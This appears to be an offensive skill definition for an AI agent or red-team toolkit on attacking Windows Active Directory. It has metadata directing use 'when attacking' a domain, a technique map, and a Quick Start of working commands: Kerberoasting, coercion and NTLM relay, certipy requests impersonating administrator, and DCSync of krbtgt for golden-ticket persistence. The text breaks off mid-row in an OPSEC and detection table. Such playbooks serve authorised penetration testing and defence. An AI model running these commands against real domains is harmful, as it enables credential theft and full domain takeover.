/active-directory-attack

name: active-directory-attack
description: Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance
metadata:
  type: offensive
  phase: exploitation
  tools: impacket, certipy, rubeus, bloodhound-ce, netexec, krbrelayx, ntlmrelayx, bloodyAD, mimikatz, kerbrute, SharpSuccessor
  mitre: TA0008
kill_chain:
  phase: [exploit, actions]
  step: [4, 7]
  attck_tactics: [TA0006, TA0008, TA0004, TA0003]
  attck_techniques: [T1558, T1558.003, T1558.004, T1558.001, T1187, T1557, T1557.001, T1003.006, T1550.002, T1550.003, T1484.001, T1098, T1207]
depends_on: [network-attack, privesc-windows]
feeds_into: [red-team-ops, advanced-redteam]
inputs: [domain_info, user_context, foothold_creds]
outputs: [domain_admin_access, finding_record, credential_dump, forged_tickets]
references:
  - references/bloodhound-enum-lateral.md
  - references/kerberos-roasting-delegation.md
  - references/coercion-relay.md
  - references/adcs-abuse.md
  - references/ticket-forgery-dcsync.md
  - references/dmsa-badsuccessor.md
scripts:
  - scripts/ad_recon.py
  - scripts/kerberoast_audit.py
  - scripts/rbcd_takeover.py
  - scripts/coerce_relay_chain.sh
  - scripts/Get-BadSuccessorOUPermissions.ps1
  - scripts/adcs_esc_finder.py

Active Directory Attacks

When to Activate

• Attacking Windows domain environments after gaining any domain foothold (creds, hash, or unauth network position)
• Kerberos exploitation: Kerberoasting, AS-REP roasting, delegation (RBCD/constrained/unconstrained), ticket forgery
• Coercion + NTLM/Kerberos relay chains (PetitPotam/DFSCoerce → LDAP/ADCS, NTLM reflection CVE-2025-33073)
• ADCS certificate-template abuse (ESC1-ESC16) and certificate-based domain takeover
• dMSA / BadSuccessor privilege escalation on Windows Server 2025 domains
• BloodHound CE attack-path discovery, lateral movement, DCSync, and domain-dominance persistence

Technique Map

| Technique | ATT&CK | CWE | Reference | Script | |-----------|--------|-----|-----------|--------| | BloodHound CE / SharpHound enumeration | T1482 | CWE-732 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py | | Password spray / PtH / PtT lateral movement | T1550.002, T1550.003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py | | LAPS / gMSA password read | T1003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py | | Kerberoasting | T1558.003 | CWE-261 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py | | AS-REP roasting | T1558.004 | CWE-308 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py | | Resource-Based Constrained Delegation (RBCD) | T1558, T1098 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py | | Constrained/Unconstrained delegation (S4U) | T1558 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py | | Coercion (PetitPotam/DFSCoerce/PrinterBug/WebDAV) | T1187 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | | NTLM relay (SMB/LDAP/ADCS) | T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | | NTLM reflection (CVE-2025-33073) | T1187, T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | | Kerberos relay / DNS CNAME (CVE-2026-20929) | T1557 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | | ADCS ESC1 (SAN) / ESC15 EKUwu (CVE-2024-49019) | T1649 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py | | ADCS ESC8 relay / ESC16 CA-wide override | T1649, T1557.001 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py | | Golden / Silver / Diamond / Sapphire ticket | T1558.001, T1558.002 | CWE-345 | references/ticket-forgery-dcsync.md | - | | DCSync (DRSUAPI replication) | T1003.006 | CWE-269 | references/ticket-forgery-dcsync.md | - | | noPac / sAMAccountName spoofing (CVE-2021-42278/87) | T1558 | CWE-287 | references/ticket-forgery-dcsync.md | - | | dMSA BadSuccessor (CVE-2025-53779) | T1098, T1558 | CWE-269 | references/dmsa-badsuccessor.md | scripts/Get-BadSuccessorOUPermissions.ps1 |

Quick Start

# 0. Sync clock to DC (Kerberos needs +/-5 min)
sudo ntpdate <DC_IP>   # or: faketime "$(net time -S <DC>)" <cmd>

# 1. Enumerate: BloodHound CE collection (Linux) + own the graph
bloodhound-python -u user -p 'Pass' -d corp.local -dc dc01.corp.local -ns <DC_IP> -c all --zip
#   (use the bloodhound-ce branch; legacy collectors break CE ingest)
nxc ldap <DC_IP> -u user -p 'Pass' --bloodhound --collection All --dns-server <DC_IP>

# 2. Cheap wins on the graph: roast everything visible
python3 scripts/kerberoast_audit.py -d corp.local --dc-ip <DC_IP> -u user -p 'Pass' --asrep --kerberoast

# 3. Coerce + relay to LDAP/ADCS (RBCD or cert) if signing/EPA weak
bash scripts/coerce_relay_chain.sh corp.local user 'Pass' <DC_IP> <RELAY_IP> ldap

# 4. ADCS path: find ESC1-16 and grab a DA cert
python3 scripts/adcs_esc_finder.py -d corp.local -u user -p 'Pass' --dc-ip <DC_IP>
certipy req -u user@corp.local -p 'Pass' -ca CA -template Vuln -upn administrator@corp.local
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>          # -> NT hash / TGT

# 5. Windows Server 2025 present? Check BadSuccessor exposure
powershell -ep bypass -File scripts/Get-BadSuccessorOUPermissions.ps1

# 6. Domain dominance: DCSync krbtgt -> Golden ticket / persistence
impacket-secretsdump -just-dc-user 'corp\krbtgt' corp.local/da:'Pass'@<DC_IP>

OPSEC & Detection (summary)

| Technique | Telemetry / IOC | Detection (Sigma / EDR) | OPSEC note | |-----------|-----------------|--------------------------|------------| | SharpHound/LDAP enum | Hundreds of LDAP queries from one host; 4662 directory access | SIEM rule: single source > N LDAP queries/minute;